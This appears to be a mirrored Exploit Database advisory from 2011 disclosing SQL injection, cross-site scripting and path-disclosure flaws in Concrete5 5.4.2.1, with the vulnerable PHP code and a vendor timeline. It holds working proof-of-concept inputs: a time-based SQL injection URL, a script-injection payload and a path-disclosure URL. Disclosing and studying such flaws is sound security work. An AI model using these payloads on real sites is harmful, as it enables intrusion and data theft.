Concrete5 CMS < 5.4.2.1 - Multiple Vulnerabilities

• Exploit Database
• 17 阅读

• 作者： Ryan Dewhurst
  日期： 2011-10-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17925/

• # Exploit Title: Concrete5 <= 5.4.2.1 SQL Injection and XSS Vulnerabilities
  # Date: 2011-10-04
  # Author: Ryan Dewhurst (ryandewhurst at gmail) (@ethicalhack3r)
  (www.ethicalhack3r.co.uk)
  # Software Link:
  http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/
  # Version: 5.4.2.1 (tested)
  
  1.Vulnerability Description
  
  Multiple SQL Injection, Cross-Site Scripting (XSS) and Information
  Disclosure vulnerabilities were identified within Concrete5 version
  5.4.2.1
  
  Please note: Only a select few vulnerabilities are outlined in this
  disclosure, many other vulnerabilities were discovered. Due to time
  restraints only a small sample
  of the vulnerabilities are outlined below. The vendor was contacted
  and replied promptly. Further assistance was asked for but not
  delivered due to my time constraints.
  
  2.Software Description
  
  CMS made for Marketing but built for Geeks, concrete5 [0] is a content
  management system that is free and open source.
  
  3.SQLi PoC [1] (authenticated user)
  
  http://concrete5.4.2/index.php/dashboard/reports/surveys/?ccm_order_by=numberOfResponses&ccm_order_dir=,(SELECT
  BENCHMARK(1000000,MD5(1)) FROM btSurveyResults where CURRENT_USER()
  like 'root@localhost' limit 1) --
  
  4.Vulnerable code
  
  File: concrete/controllers/dashboard/reports/surveys.php
  
  class SurveyList extends DatabaseItemList {
  protected $itemsPerPage = 10;
  protected $autoSortColumns = array('cvName', 'question',
  'numberOfResponses', 'lastResponse');
  
  function __construct() {
  $this->setQuery(
   'select distinct btSurvey.bID,
  CollectionVersions.cID, btSurvey.question, CollectionVersions.cvName,
  (select max(timestamp) from btSurveyResults where btSurveyResults.bID
  = btSurvey.bID and btSurveyResults.cID = CollectionVersions.cID) as
  lastResponse, (select count(timestamp) from btSurveyResults where
  btSurveyResults.bID = btSurvey.bID and btSurveyResults.cID =
  CollectionVersions.cID) as numberOfResponses ' .
  'from btSurvey, CollectionVersions,
  CollectionVersionBlocks');
  $this->filter(false, 'btSurvey.bID =
  CollectionVersionBlocks.bID');
  $this->filter(false, 'CollectionVersions.cID =
  CollectionVersionBlocks.cID');
  $this->filter(false, 'CollectionVersionBlocks.cvID =
  CollectionVersionBlocks.cvID');
  $this->filter(false, 'CollectionVersions.cvIsApproved = 1');
  $this->userPostQuery .= 'group by btSurvey.bID,
  CollectionVersions.cID';
  }
  }
  
  5.Cross-Site Scripting (XSS)
  
  Page: http://192.168.1.105/concrete5.4.2/index.php/login/forgot_password/
  Parameter: rcID
  Method: POST
  PoC: "><script>alert(1)</script>
  
  6.Vulnerable Code
  
  File: concrete/single_pages/login.php:
  
  <input type="hidden" name="rcID" value="<?php echo $rcID?>" />
  
  7.Full Path Disclosure (FPD)
  
  http://concrete5.4.2.1/index.php/tools/blocks/page_list/blog_rss?bID=30&cID='&arHandle=Main
  
  8.Vulnerability Timeline
  
  2011-09-06 - Reported to vendor
  2011-09-06 - Vendor Reply
  2011-09-07 - Vendor Acknowledge Vulnerabilities and asked for
  assistance patching. No assistance given apart from the initial report
  due to time constraints.
  2011-10-04 - Vulnerability Disclosed
  
  9.References
  
  [0] http://www.concrete5.org/
  [1] http://www.bonsai-sec.com/blog/index.php/not-the-average-sql-injection/